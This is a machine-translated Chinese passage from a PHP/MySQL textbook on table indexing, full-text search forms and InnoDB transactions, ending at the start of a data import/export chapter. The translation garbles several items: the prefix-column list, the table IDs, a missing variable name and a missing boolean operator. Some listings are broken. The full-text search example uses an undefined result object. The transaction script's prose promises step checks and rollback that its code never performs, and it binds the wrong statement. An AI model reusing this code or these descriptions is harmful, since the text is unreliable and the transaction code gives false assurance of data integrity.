   firstname VARCHAR(100) NOT NULL,
   lastname VARCHAR(100) NOT NULL,
   email VARCHAR(100) NOT NULL UNIQUE,
   INDEX (lastname),
   PRIMARY KEY(id));

基于这一思想,MySQL 提供了创建部分列索引的特性,其思想是给定列的前 N 个字符通常足以确保唯一性,其中 N 在索引创建语句中指定。创建部分列索引需要较少的磁盘空间,并且比索引整个列要快得多,尤其是在插入数据时。回顾前面的例子,您可以想象使用姓氏的前五个字符足以确保准确的检索:

CREATE TABLE employees (
   id INT UNSIGNED AUTO_INCREMENT,
   firstname VARCHAR(100) NOT NULL,
   lastname VARCHAR(100) NOT NULL,
   email VARCHAR(100) NOT NULL UNIQUE,
   INDEX (lastname(5)),
   PRIMARY KEY(id));

然而,选择查询通常是包含多个列的函数。毕竟,更复杂的表可能需要由几个列组成的查询才能检索到所需的数据。通过建立多列普通索引,可以大大减少这类查询的运行时间。

多列普通索引

当您知道在检索查询中将经常一起使用许多指定的列时,建议使用多列索引。MySQL 的多列索引方法是基于一种叫做最左边前缀的策略。最左边的前缀表示任何包含列 A、B 和 C 的多列索引都将提高涉及以下列组合的查询的性能:

  • 甲、乙、丙

  • 甲,乙

  • A

以下是创建多列 MySQL 索引的方法:

CREATE TABLE employees (
   id INT UNSIGNED AUTO_INCREMENT,
   lastname VARCHAR(100) NOT NULL,
   firstname VARCHAR(100) NOT NULL,
   email VARCHAR(100) NOT NULL UNIQUE,
   INDEX name (lastname, firstname),
   PRIMARY KEY(id));

这将创建两个索引(除了主键索引之外)。第一个是电子邮件地址的唯一索引。第二个是多列索引,由两列组成,lastname,firstname。这很有用,因为当查询涉及以下任何列组合时,它可以提高搜索速度:

  • lastnamefirstname

  • lastname

为了说明这一点,以下查询将受益于多列索引:

SELECT email FROM employees WHERE lastname="Geronimo" AND firstname="Ed";
SELECT lastname FROM employees WHERE lastname="Geronimo";

以下查询不会带来好处:

SELECT lastname FROM employees WHERE firstname="Ed";

为了提高后一个查询的性能,您需要为firstname列创建单独的索引。

全文索引

全文索引为搜索存储在CHARVARCHARTEXT数据类型中的文本提供了一种有效的方法。在深入研究示例之前,先了解一下 MySQL 对这个索引的特殊处理的背景。在 MySQL 5.6 之前,这个特性只有在使用 MyISAM 存储引擎时才可用。现在 Innodb 引擎也支持它。

因为 MySQL 假设将实现全文搜索来筛选大量的自然语言文本,所以它提供了一种检索数据的机制,这种机制可以产生最符合用户期望的结果。更具体地说,如果用户使用类似于 Apache 是世界上最受欢迎的 web 服务器这样的字符串进行搜索,那么这两个词在确定结果相关性方面应该起不到什么作用。事实上,MySQL 将可搜索的文本分割成单词,默认情况下会删除少于四个字符的单词。在本节的后面,您将了解如何修改这种行为。

创建全文索引与创建其他类型的索引非常相似。例如,重新访问本章前面创建的bookmarks表,使用全文变体索引其description列:

CREATE TABLE bookmarks (
   id INT UNSIGNED AUTO_INCREMENT,
   name VARCHAR(75) NOT NULL,
   url VARCHAR(200) NOT NULL,
   description MEDIUMTEXT NOT NULL,
   FULLTEXT(description),
   PRIMARY KEY(id));

除了典型的主索引之外,这个示例还创建了一个由description列组成的全文索引。出于演示目的,表 33-1 给出了在bookmarks表中找到的数据。

表 33-1

示例表数据

|

编号

|

名字

|

全球资源定位器(Uniform Resource Locator)

|

描述

|
| --- | --- | --- | --- |
| one | Python.org | https://www.python.org | Python 官方网站 |
| Two | MySQL 手动 | https://dev.mysql.com/doc | MySQL 参考手册 |
| three | 阿帕奇网站 | https://httpd.apache.org | 包括 Apache 2 手册 |
| four | PHP:超文本 | https://www.php.net | PHP 官方网站 |
| five | 阿帕奇周 | http://www.apacheweek.com | 提供专门的 Apache 2 部分 |

创建全文索引与创建其他类型的索引非常相似,而基于全文索引的检索查询则不同。当基于全文索引检索数据时,SELECT查询使用两个特殊的 MySQL 函数,MATCH()AGAINST()。使用这些函数,可以对全文索引执行自然语言搜索,如下所示:

SELECT name,url FROM bookmarks WHERE MATCH(description) AGAINST('Apache 2');

返回的结果如下所示:

+-------------+----------------------------+
| name        | url                        |
+------------------------------------------+
| Apache site | https://httpd.apache.org   |
| Apache Week | http://www.apacheweek.com  |
+-------------+----------------------------+

这列出了在description列中找到 Apache 的行,按照相关性最高的顺序排列。记住 2 因其长度而被忽略。为了说明这一点,您可以从第 3 行和/或第 5 行的 description 列中删除数字 2,然后再次运行相同的查询。你会得到同样的结果。当在WHERE子句中使用MATCH()时,根据返回的行与搜索字符串的匹配程度来定义相关性。或者,可以将函数合并到查询体中,返回匹配行的加权分数列表;分数越高,相关性越大。下面是一个例子:

SELECT MATCH(description) AGAINST('Apache 2') FROM bookmarks;

执行时,MySQL 将搜索bookmarks表中的每一行,计算每一行的相关性值,如下所示:

+----------------------------------------+
| match(description) against('Apache 2') |
+----------------------------------------+
|                                      0 |
|                                      0 |
|                       0.57014514171969 |
|                                      0 |
|                       0.38763393589171 |
+----------------------------------------+

您还可以利用一个称为查询扩展的特性,这在用户做出某些假设时特别有用,否则这些假设可能不需要内置到应用的搜索逻辑中。例如,假设用户正在搜索词语足球。从逻辑上来说,包括匹兹堡钢人队、俄亥俄州七叶树队和伍迪·海耶斯等术语的行也会引起他的兴趣。为了弥补这一点,您可以包含WITH QUERY EXPANSION子句,该子句将首先检索包含词语 football 的所有行,然后再次搜索所有行,这次检索包含在第一组结果的行中找到的任何单词的所有行。

因此,回到示例,如果在第一次搜索中找到的一行包含术语足球匹兹堡,那么在第二次搜索中将检索到包含匹兹堡的一行,即使它不包含术语足球。虽然这肯定会导致更彻底的搜索,但它可能会产生意想不到的副作用,例如返回一行,因为其中包含术语 Pittsburgh ,但与足球毫无关系。

还可以执行面向布尔的全文搜索。本节稍后将介绍该功能。

停止言语

如前所述,默认情况下,MySQL 会忽略任何少于四个字符的关键字。这些词,以及那些在 MySQL 服务器内置的预定义列表中找到的词,被称为停用词,或者应该被忽略的词。通过修改以下 MySQL 变量,您可以对停用词行为进行很好的控制:

  • 不符合特定长度的单词可以作为停用词。您可以使用此参数指定所需的最小长度。如果更改这个参数,您需要重启 MySQL 服务器守护进程并重建索引。

  • ft_max_word_len:你也可以将停用词定义为任何超过特定长度的词。您可以使用此参数指定该长度。如果更改这个参数,您需要重启 MySQL 服务器守护进程并重建索引。

  • ft_stopword_file:分配给该参数的文件包含一个 544 个英文单词的列表,这些单词会自动从任何搜索关键字中过滤出来。通过将该参数设置为所请求列表的路径和名称,可以将其更改为指向另一个列表。或者,如果您可以选择重新编译 MySQL 源代码,您可以通过打开myisam/ft_static.c并编辑预定义的列表来修改这个列表。在第一种情况下,您需要重启 MySQL 并重建索引,而在第二种情况下,您需要根据您的规范重新编译 MySQL 并重建索引。

可以使用以下命令显示这些和其他与停用字相关的变量的默认值:

show variables where variable_name like 'ft_%';
+--------------------------+----------------+
| Variable_name            | Value          |
+--------------------------+----------------+
| ft_boolean_syntax        | + -><()~*:""&| |
| ft_max_word_len          | 84             |
| ft_min_word_len          | 4              |
| ft_query_expansion_limit | 20             |
| ft_stopword_file         | (built-in)     |
+--------------------------+----------------+

注意

MySQL 索引的重建是通过命令 REPAIR TABLE table_name QUICK完成的,其中table_name表示您想要重建的表的名称。

默认情况下,停用词被忽略的原因是,它们在普通语言中出现得过于频繁,可能被认为是不相关的。这可能会产生意想不到的效果,因为 MySQL 还会自动过滤掉在超过 50%的记录中存在的任何关键字。例如,考虑一下如果所有贡献者都添加了一个与 Apache Web 服务器相关的 URL,并且都在描述中包含单词Apache会发生什么。执行全文搜索来查找术语Apache将会产生意想不到的结果:没有找到记录。如果您正在处理一个小的结果集,或者由于其他原因需要忽略这种默认行为,请使用 MySQL 的布尔全文搜索功能。

布尔全文搜索

布尔全文搜索对搜索查询提供了更细粒度的控制,允许您明确地确定哪些词应该出现在候选结果中,哪些词不应该出现在候选结果中(但是,在执行布尔全文搜索时,停用词列表仍然适用)。例如,布尔全文搜索可以检索包含单词 Apache 的行,但不能检索包含单词 NavajoWoodlandShawnee 的行。同样,您可以确保结果至少包含一个关键字、所有关键字或不包含关键字;您可以自由地对返回的结果进行大量的过滤控制。这种控制是通过许多公认的布尔运算符来维护的。表 33-2 中列出了其中几个操作符。

表 33-2

全文搜索布尔运算符

|

操作员

|

描述

|
| --- | --- |
| + | 前导加号确保每个结果行中都出现随后的单词。 |
| | 前导减号确保随后的单词不会出现在返回的任何行中。 |
| * | 尾部星号允许关键字变化,前提是变化以前面单词指定的字符串开始。 |
| " " | 双引号可以确保结果行包含括起来的字符串,与输入的字符串完全一样。 |
| < > | 前面的大于号和小于号分别用于减少和增加后续单词与搜索排名的相关性。 |
| ( ) | 括号用于将单词分组为子表达式。 |

考虑几个例子。第一个例子返回包含 Apache 的行,但不包含 manual :

SELECT name,url FROM bookmarks WHERE MATCH(description)
   AGAINST('+Apache -manual' in boolean mode);

下一个示例返回包含单词 Apache 的行,但不包含 ShawneeNavajo 的行:

SELECT name, url FROM bookmarks WHERE MATCH(description)
   AGAINST('+Apache -Shawnee -Navajo' in boolean mode);

最后一个示例返回包含 web脚本,或者 php脚本的行,但是 web 脚本的排名低于 php 脚本:

SELECT name, url FROM bookmarks WHERE MATCH(description)
   AGAINST('+(<web >php) +scripting');

请注意,只有当您将ft_min_word_len变量降低到3时,最后一个示例才会起作用。

只要数据集大小合理,在关系数据库上执行的搜索操作就可以工作,而关系数据库从来不是为搜索而设计或优化的。其他系统如 ElasticSearch 更适合搜索大量结构化或非结构化数据。

索引最佳实践

下面的列表提供了一些在将索引合并到数据库开发策略中时应该始终牢记的提示:

  • 仅索引那些在WHEREORDER BY子句中需要的列。大量索引列只会导致不必要的硬盘空间消耗,并且在更改表信息时实际上会降低性能。索引表上的性能会下降,因为每次记录更改时,索引都必须更新。

  • 如果你创建了一个像INDEX(firstname, lastname)这样的索引,不要创建INDEX(firstname),因为 MySQL 能够搜索索引前缀。但是,请记住,只有前缀是相关的;这种多列索引不适用于仅针对lastname的搜索。

  • 使用--log-long-format选项记录不使用索引的查询。然后,您可以检查该日志文件,并相应地调整您的查询。

  • EXPLAIN语句帮助您确定 MySQL 将如何执行查询,向您展示如何以及以什么顺序连接表。这对于确定如何编写优化的查询以及是否应该添加索引非常有用。请查阅 MySQL 手册,了解关于EXPLAIN语句的更多信息。

基于表单的搜索

使用超链接轻松深入网站的能力是使 Web 成为如此受欢迎的媒体的行为之一。然而,随着网站和 Web 的规模呈指数级增长,基于用户提供的关键字执行搜索的能力从便利发展为必要。本节提供了几个例子,展示了构建搜索 MySQL 数据库的搜索界面是多么容易。

执行简单搜索

许多有效的搜索界面只包含一个文本字段。例如,假设您希望为人力资源部门提供按姓氏查找员工联系信息的功能。为了实现这个任务,查询将检查在employees表中找到的lastname列。图 33-1 显示了这样做的示例界面。

img/314623_5_En_33_Fig1_HTML.jpg

图 33-1

一个简单的搜索界面

清单 33-1 实现了这个接口,将请求的姓氏传递给搜索查询。如果返回的行数大于零,则输出每一行;否则,会提供适当的消息。

<p>
Search the employee database:<br />
<form action="search.php" method="post">
   Last name:<br>
   <input type="text" name="lastname" size="20" maxlength="40" value=""><br>
   <input type="submit" value="Search!">
</form>
</p>

<?php

   // If the form has been submitted with a supplied last name
   if (isset($_POST['lastname'])) {

      // Connect to server and select database

      $db = new mysqli("localhost", "websiteuser", "secret", "chapter36");

      // Query the employees table
      $stmt = $db->prepare("SELECT firstname, lastname, email FROM employees
                            WHERE lastname like ?");

      $stmt->bind_param('s', $_POST['lastname']);

      $stmt->execute();

      $stmt->store_result();

      // If records found, output them
      if ($stmt->num_rows > 0) {

        $stmt->bind_result($firstName, $lastName, $email);

        while ($stmt->fetch())
          printf("%s, %s (%s)<br />", $lastName, $firstName, $email);
      } else {
         echo "No results found.";
      }

   }
?>

Listing 33-1Searching the Employee Table (search.php

)

因此,在搜索界面中输入Gilmore将会返回如下结果:

Gilmore, Jason (gilmore@example.com)

扩展搜索功能

虽然这个简单的搜索界面是有效的,但是如果用户不知道员工的姓氏会怎么样呢?如果用户知道另一条信息,比如电子邮件地址,该怎么办?清单 33-2 修改了原来的例子,这样它就可以处理来自图 33-2 中描述的表单的输入。

img/314623_5_En_33_Fig2_HTML.jpg

图 33-2

修订后的搜索表单

<p>
Search the employee database:<br>
<form action="search2.php" method="post">
   Keyword:<br>
   <input type="text" name="keyword" size="20" maxlength="40" value=""><br>
   Field:<br>
   <select name="field">
      <option value="">Choose field:</option>
      <option value="lastname">Last Name</option>
      <option value="email">E-mail Address</option>
      </select>
   <input type="submit" value="Search!" />
</form>
</p>

<?php
   // If the form has been submitted with a supplied keyword
   if (isset($_POST['field'])) {

      // Connect to server and select database
      $db = new mysqli("localhost", "websiteuser", "secret", "chapter36");

      // Create the query
      if ($_POST['field'] == "lastname") {
         $stmt = $db->prepare("SELECT firstname, lastname, email
                               FROM employees WHERE lastname like ?");
      } elseif ($_POST['field'] == "email") {
         $stmt = $db->prepare("SELECT firstname, lastname, email
                               FROM employees WHERE email like ?");
      }

      $stmt->bind_param('s', $_POST['keyword']);

      $stmt->execute();

      $stmt->store_result();

      // If records found, output them
      if ($stmt->num_rows > 0) {

        $stmt->bind_result($firstName, $lastName, $email);

        while ($stmt->fetch())
          printf("%s, %s (%s)<br>", $lastName, $firstName, $email);

      } else {
        echo "No results found.";
      }
   }
?>

Listing 33-2Extending the Search Capabilities (searchextended.php

)

因此,将该字段设置为E-mail Address并输入gilmore@example.com作为关键字,将会返回类似如下的结果:

Gilmore, Jason (gilmore@example.com)

当然,在这两个示例中,您需要放置额外的控件来净化数据,并确保用户在提供无效输入时收到详细的响应。然而,基本的搜索过程应该是显而易见的。

执行全文搜索

执行全文搜索实际上与执行任何其他选择查询没有什么不同;只有查询看起来不同,这个细节对用户是隐藏的。例如,清单 33-3 实现了图 33-3 中描述的搜索接口,演示了如何搜索bookmarks表的description列。

img/314623_5_En_33_Fig3_HTML.jpg

图 33-3

全文搜索界面

<p>
Search the online resources database:<br>
<form action="fulltextsearch.php" method="post">
   Keywords:<br>
   <input type="text" name="keywords" size="20" maxlength="40" value=""><br>
   <input type="submit" value="Search!">
</form>
</p>

<?php

   // If the form has been submitted with supplied keywords
   if (isset($_POST['keywords'])) {

      // Connect to server and select database
      $db = new mysqli("localhost", "websiteuser", "secret", "chapter36");

      // Create the query
      $stmt = $db->prepare("SELECT name, url FROM bookmarks
                          WHERE MATCH(description) AGAINST(?)");

      $stmt->bind_param('s', $_POST['keywords']);

      $stmt->execute();

      $stmt->store_result();

      // Output retrieved rows or display appropriate message
      if ($stmt->num_rows > 0) {

        $stmt->bind_result($url, $name);

        while ($result->fetch)
          printf("<a href='%s'>%s</a><br />", $url, $name);
      } else {
          printf("No results found.");
      }
   }
?>

Listing 33-3Implementing Full-Text Search

为了扩展用户的全文搜索能力,可以考虑提供一个演示 MySQL 布尔搜索特性的帮助页面。

摘要

表索引是优化查询的可靠方法。本章介绍了表索引,并向您展示了如何创建主索引、唯一索引、普通索引和全文索引。然后,您了解到创建支持 PHP 的搜索界面来查询 MySQL 表是多么容易。

下一章将介绍 MySQL 的事务处理特性,并向您展示如何将事务整合到您的 web 应用中。

三十四、事务

本章介绍了 MySQL 的事务处理能力,并演示了如何通过 MySQL 客户端和从 PHP 脚本中执行事务。根据本文的结论,您将对事务有一个大致的了解,它们是如何被 MySQL 实现的,以及如何将它们整合到您的 PHP 应用中。

什么是交易?

事务是一组有序的数据库操作,它们被视为一个单元。如果组中的所有操作都成功,则认为交易成功,如果甚至一个操作失败,则认为交易不成功。如果所有操作成功完成,该事务将被提交,并且它的更改将对所有其他数据库进程可用。如果某项操作失败,该事务将回滚,构成该事务的所有操作的效果将被取消。

在事务过程中实现的任何改变将仅对拥有该事务的线程可用,并且将保持如此,直到那些改变确实被提交。这可以防止其他线程潜在地利用可能由于回滚而很快被否定的数据,这将导致数据完整性的破坏。

事务处理能力是企业数据库的关键部分,因为许多业务流程由多个步骤组成。举个例子,一个客户试图执行在线购买。结账时,顾客的购物车将与现有库存进行比较,以确保可用性。接下来,客户必须提供他们的账单和运输信息,此时他们的信用卡将被检查是否有必要的可用资金,然后被记入借方。接下来,将相应地扣除产品库存,并将未决订单通知给运输部门。如果这些步骤中的任何一个失败了,那么它们都不应该发生。想象一下,当客户得知他们的信用卡已经被扣款,而产品却因为库存不足而从未到达时,他会多么沮丧。同样,如果信用卡无效或者没有提供足够的运输信息,您也不会想要扣除库存或者运输产品。数据的收集(购物车、信用卡信息等。)不应包含在完成销售的实际事务中,因为这将导致在事务发生时受影响的表和行被锁定以进行读写。

用更专业的术语来说,一项交易是由其遵循四个原则的能力来定义的,体现在缩写词 ACID 中。这里定义了交易流程的四个支柱:

  • 原子性:交易的所有步骤必须成功完成;否则,不会提交任何步骤。

  • 一致性:交易的所有步骤必须成功完成;否则,所有数据都将恢复到事务开始前的状态。

  • 隔离:任何尚未完成的交易执行的步骤必须保持与系统隔离,直到交易被视为完成。

  • 持久性:所有提交的数据必须由系统保存,以便在系统出现故障时,数据可以成功恢复到有效状态。

随着您在本章中对 MySQL 的事务支持了解得越来越多,您将会理解必须遵循这些原则来确保数据库的完整性。

MySQL 的事务处理能力

MySQL 的两个存储引擎支持事务:InnoDB 和 NDB。InnoDB 在第二十五章中介绍过,NDP 不在本书讨论范围之内。本节解释应用于 InnoDB 的事务。它首先讨论了 InnoDB 处理器可用的系统要求和配置参数,最后给出了一个详细的使用示例和一系列使用 InnoDB 事务时需要记住的技巧。这一节为本章的最后一部分打下了基础,在这一部分中,您将学习如何将事务处理能力整合到您的 PHP 应用中。

系统需求

本章重点介绍受流行的 InnoDB 存储引擎支持的事务。InnoDB 是启用的,并且是大多数系统上的默认存储引擎,除非您从源代码编译了 MySQL 并省略了它。您可以通过执行以下命令来验证 InnoDB 表是否可用:

mysql>show variables like '%have_inn%';

您应该看到以下内容:

+-----------------------+
| Variable_name | Value |
+-----------------------+
| have_innodb    | YES  |
+-----------------------+
1 row in set (0.00 sec)

或者,您可以使用SHOW ENGINES;命令查看 MySQL 服务器支持的所有存储引擎。

表格创建

创建 InnoDB 类型的表实际上与创建任何其他类型的表没有什么不同。事实上,这种表类型在所有平台上都是默认的,这意味着创建 InnoDB 表不需要任何特殊操作。您所需要做的就是使用CREATE TABLE语句创建您认为合适的表格。如果您希望在创建表时更加明确,可以像这样添加引擎关键字:

CREATE TABLE customers (
   id SMALLINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   name VARCHAR(255) NOT NULL
   ) ENGINE=InnoDB;

一旦被创建,一个*.frm文件(在这个例子中,是一个customers.frm文件)被存储在各自的数据库目录中,其位置由 MySQL 的datadir参数表示,并在守护进程启动时定义。该文件包含 MySQL 所需的数据字典信息。然而,与 MyISAM 表不同,InnoDB 引擎要求将所有 InnoDB 数据和索引信息存储在一个表空间中。这个表空间实际上可以由许多不同的文件(甚至是原始磁盘分区)组成,它们默认位于 MySQL 的datadir目录中。这是一个非常强大的特性——这意味着,只需根据需要将新文件连接到表空间,就可以创建远远超过许多操作系统所规定的最大允许文件大小的数据库。所有这些行为取决于您如何定义相关的 InnoDB 配置参数,接下来将介绍这些参数。

注意

您可以通过修改innodb_data_home_dir参数来更改表空间的默认位置。

一个示例项目

为了让您确切了解 InnoDB 表的行为,本节将通过一个从命令行执行的简单事务示例来指导您。这个例子展示了两个旧物交换参与者如何将一件物品兑换成现金。在检查代码之前,花点时间查看一下伪代码:

  1. 参与者 Jason 请求一个项目,比如位于参与者 Jon 的虚拟行李箱中的算盘。

  2. 参与者 Jason 向参与者 Jon 的账户转账 12.99 美元。这样做的结果是借记杰森的账户,贷记乔恩的账户。

  3. 算盘的所有权转移给杰森。

如你所见,这个过程的每一步对整个手术的成功都是至关重要的。您将把这个过程变成一个事务,以确保数据不会因为一个步骤的失败而被破坏。尽管在实际场景中还有其他步骤,比如确保购买参与者拥有足够的资金,但是在这个示例中,这个过程保持简单,以便不偏离主题。

创建表和添加示例数据

要跟进项目,请创建下表并添加后面的示例数据。

参与者表

该表存储了每个交换会议参与者的信息,包括他们的姓名、电子邮件地址和可用现金:

CREATE TABLE participants (
   id SMALLINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   name VARCHAR(35) NOT NULL,
   email VARCHAR(45) NOT NULL,
   cash DECIMAL(5,2) NOT NULL
   ) ENGINE=InnoDB;

行李箱桌子

此表存储参与者拥有的每件物品的信息,包括所有者、名称、描述和价格:

CREATE TABLE trunks (
   id SMALLINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   owner SMALLINT UNSIGNED NOT NULL REFERENCES participants(id),
   name VARCHAR(25) NOT NULL,
   price DECIMAL(5,2) NOT NULL,
   description MEDIUMTEXT NOT NULL
   ) ENGINE=InnoDB;

添加一些示例数据

接下来,向两个表中添加几行数据。为了简单起见,添加两个参与者 Jason 和 Jon,并为他们各自的行李箱添加一些物品:

mysql>INSERT INTO participants SET name="Jason", email="jason@example.com",
                                  cash="100.00";
mysql>INSERT INTO participants SET name="Jon", email="jon@example.com",
                                  cash="150.00";
mysql>INSERT INTO trunks SET owner=2, name="Abacus", price="12.99",
                            description="Low on computing power? Use an abacus!";
mysql>INSERT INTO trunks SET owner=2, name="Magazines", price="6.00",
                            description="Stack of computer magazines.";
mysql>INSERT INTO trunks SET owner=1, name="Used Lottery ticket", price="1.00",
                            description="Great gift for the eternal optimist.";

执行示例事务

通过发出START TRANSACTION命令开始交易过程:

mysql>START TRANSACTION;

注意

命令BEGINSTART TRANSACTION的别名。尽管两者完成的任务相同,但建议您使用后者,因为它符合 SQL-99 语法。

接下来,从 Jason 的账户中扣除 12.99 美元:

mysql>UPDATE participants SET cash=cash-12.99 WHERE id=1;

接下来,将 12.99 美元记入乔恩的账户:

mysql>UPDATE participants SET cash=cash+12.99 WHERE id=2;

接下来,将算盘的所有权转让给 Jason:

mysql>UPDATE trunks SET owner=1 WHERE name="Abacus" AND owner=2;

花点时间检查一下participants表,确保现金金额已经正确记入借方和贷方:

mysql>SELECT * FROM participants;

这将返回以下结果:

+-------+-------+-------------------+----------+
| id    | name  | email             | cash     |
+-------+-------+-------------------+----------+
|     1 | Jason | jason@example.com |  87.01   |
|     2 | Jon   | jon@example.com   | 162.99   |
+-------+-------+-------------------+----------+

还需要花点时间检查一下 trunks 表;你会发现算盘的所有权确实变了。但是,请记住,因为 InnoDB 表必须遵循 ACID 原则,所以这种更改目前只对执行事务的线程可用。为了说明这一点,启动第二个 mysql 客户端,再次登录并切换到corporate数据库。查看participants表。你会看到参与者各自的现金价值保持不变。检查trunks表也会显示算盘的所有权没有改变。这是因为酸性测试的隔离部分。在您COMMIT更改之前,事务处理过程中所做的任何更改都不会对其他线程可用。

尽管这些更新确实工作正常,但假设有一个或几个没有正常工作。返回第一个客户端窗口,通过发出命令ROLLBACK取消更改:

mysql>ROLLBACK;

现在再次执行SELECT命令:

mysql>SELECT * FROM participants;

这将返回:

+-------+-------+-------------------+--------+
| id    | name  | email             | cash   |
+-------+-------+-------------------+--------+
|     1 | Jason | jason@example.com | 100.00 |
|     2 | Jon   | jon@example.com   | 150.00 |
+-------+-------+-------------------+--------+

请注意,参与者的现金持有量已被重置为其原始值。检查trunks表也会显示算盘的所有权没有改变。尝试重新重复上述过程,这次使用COMMIT命令提交更改,而不是回滚。一旦事务被提交,再次返回到第二个客户机并检查这些表;您将看到提交的更改立即可用。

注意

您应该意识到,在发出COMMITROLLBACK命令之前,事务序列中发生的任何数据更改都不会生效。这意味着,如果 MySQL 服务器在提交更改之前崩溃,更改将不会发生,您需要启动事务系列来使这些更改发生。

下一节“用 PHP 构建事务性应用”将使用 PHP 脚本重新创建这个过程。

使用技巧

以下是使用 MySQL 事务时需要记住的一些提示:

  • 发出START TRANSACTION命令等同于将AUTOCOMMIT变量设置为0。默认值是AUTOCOMMIT=1,这意味着每条语句一旦成功执行就会被提交。这就是用START TRANSACTION命令开始事务的原因——因为您不希望事务的每个组成部分都在执行时提交。

  • 只有当整个流程的成功执行至关重要时,才使用事务。例如,将产品添加到购物车的过程非常关键;浏览所有可用的产品不是。在设计表时要考虑这些问题,因为这无疑会影响性能。

  • 您不能回滚数据定义语言语句;也就是说,用于创建或删除数据库,或者创建、删除或更改表的任何语句。

  • 事务不能嵌套。在一个COMMITROLLBACK之前发出多个START TRANSACTION命令将不起作用。

  • 如果在事务处理过程中更新非事务性表,然后通过发出 ROLLBACK 来结束该事务,将会返回一个错误,通知您非事务性表将不会回滚。

  • 通过备份二进制日志文件,定期拍摄 InnoDB 数据和日志的快照,并使用mysqldump拍摄每个表中数据的快照。二进制日志文件作为增量备份,可以应用于以前的备份,以便在必须从备份恢复数据库时将数据库前滚到给定点。

用 PHP 构建事务性应用

将 MySQL 的事务能力集成到 PHP 应用中真的不是什么大事;您只需要记住在适当的时候启动事务,然后在相关操作完成后提交或回滚事务。在本节中,您将了解这是如何实现的。学完本课程后,您应该熟悉将这一重要功能整合到您的应用中的一般过程。

旧地重游

在本例中,您将重新创建之前演示的交换会议场景,这次使用 PHP。尽量减少不相关的细节;该页面将显示一个产品,并向用户提供将该商品添加到购物车的方法;它可能看起来类似于图 34-1 中所示的截图。

img/314623_5_En_34_Fig1_HTML.jpg

图 34-1

典型的产品展示

点击购买!按钮会把用户带到一个purchase.php脚本。传递一个变量,即$_POST['itemid']。将该变量与一些用于检索适当的participantstrunks行主键的假设类方法结合使用,您可以使用 MySQL 事务将产品添加到数据库中,并相应地扣除和贷记参与者的账户。

为了执行这个任务,使用mysqli扩展的事务性方法,第二十七章第一次介绍了这些方法。清单 34-1 包含代码(purchase.php)。如果您不熟悉这些方法,请在继续之前花点时间参考第三章中的相关章节进行快速回顾。

<?php

   // Give the POSTed item ID a friendly variable name
   $itemID = filter_var($_POST['itemid'], FILTER_VALIDATE_INT);
   $participant = new Participant();
   $buyerID = $participant->getParticipantKey();

   // Retrieve the item seller and price using some fictitious item class
   $item = new Item();
   $sellerID = $item->getItemOwner($itemID);
   $price = $item->getPrice($itemID);

   // Instantiate the mysqli class
   $db = new mysqli("localhost","website","secret","chapter34");

   // Disable the autocommit feature
   $db->autocommit(FALSE);

   // Debit buyer's account

   $stmt = $db->prepare("UPDATE participants SET cash = cash - ? WHERE id = ?");

   $stmt->bind_param('di', $price, $buyerID);

   $stmt->execute();

   // Credit seller's account
   $query = $db->prepare("UPDATE participants SET cash = cash + ? WHERE id = ?");

   $stmt->bind_param('di', $price, $sellerID);

   $stmt->execute();

   // Update trunk item ownership. If it fails, set $success to FALSE
   $stmt = $db->prepare("UPDATE trunks SET owner = ? WHERE id = ?");

   $stmt->bind_param('ii', $buyerID, $itemID);

   $stmt->execute();

   if ($db->commit()) {
      echo "The swap took place! Congratulations!";
   } else {
      echo "There was a problem with the swap!";
   }

?>

Listing 34-1Swapping Items with purchase.php

如您所见,在事务的每一步执行之后,都会检查查询的状态和受影响的行。如果任何一次失败,$success被设置为FALSE,所有步骤在脚本结束时回滚。当然,您可以优化这个脚本,以锁步方式启动每个查询,每个查询只在确定前面的查询实际上已经正确执行之后才发生,但这留给您作为练习。

MySQL 也支持rollback命令。当在事务中发出时,数据库将撤消自事务开始以来的所有命令。如果在处理事务的过程中出现错误,通常会使用这种方法。与其提交不完整的值,不如回滚。

摘要

在对业务流程建模时,数据库事务非常有用,因为它们有助于确保组织最有价值的资产(信息)的完整性。如果您谨慎地使用数据库事务,在构建数据库驱动的应用时,它们是一笔巨大的资产。

在下一章也是最后一章,您将学习如何使用 MySQL 的默认实用程序导入和导出大量数据。此外,您将看到如何使用 PHP 脚本格式化基于表单的信息,以便通过电子表格应用(如 Microsoft Excel)进行查看。

三十五、导入和导出数据

回到石器时代,穴居人从未真正遇到过数据不兼容的问题——石头和自己的记忆是唯一的存储介质。复制数据需要拔出旧凿子,在一块新的花岗岩板上忙碌。当然,现在的情况大不相同了。存在数百种数据存储策略,其中最常见的包括电子表格和各种类型的关系数据库。以一种复杂甚至令人费解的方式工作,您经常需要将数据从一种存储类型转换为另一种存储类型,比如在电子表格和数据库之间,或者在 Oracle 数据库和 MySQL 之间。如果做得不好,您可能会花费数小时,甚至数天甚至数周的时间,将转换后的数据转换成可用的格式。本章试图通过介绍 MySQL 的数据导入和导出实用程序来解决这个难题,并介绍各种技术和概念来减轻执行这些任务的痛苦。

学完本章后,你将熟悉以下主题:

  • 大多数主流存储产品认可的通用数据格式标准

  • SELECT INTO OUTFILE SQL 语句

  • LOAD DATA INFILE SQL 语句

  • mysqlimport实用程序

  • 如何使用 PHP 模仿 MySQL 内置的导入工具

在深入研究核心主题之前,花点时间回顾一下作为本章示例基础的示例数据。之后,介绍了围绕 MySQL 的导入和导出策略的几个基本概念。

样本表

如果您想在继续学习本章的过程中执行这些示例,下面的sales表将是本章中几个示例的重点:

CREATE TABLE sales (
   id SMALLINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   client_id SMALLINT UNSIGNED NOT NULL,
   order_time TIMESTAMP NOT NULL,
   sub_total DECIMAL(8,2) NOT NULL,
   shipping_cost DECIMAL(8,2) NOT NULL,
   total_cost DECIMAL(8,2) NOT NULL
);

此表用于跟踪基本销售信息。虽然它缺少许多您可能在实际实现中发现的列,但是为了将重点放在本章介绍的概念上,我们省略了额外的细节。

使用数据定界

即使你是一个初露头角的程序员,你可能已经非常熟悉软件对数据的严格要求。所有的 I 必须加点,所有的 t 必须加叉,一个错位的字符就足以产生意想不到的结果。因此,您可以想象在尝试将数据从一种格式转换为另一种格式时可能出现的问题。令人欣慰的是,一种特别方便的格式化策略已经变得司空见惯:定界。

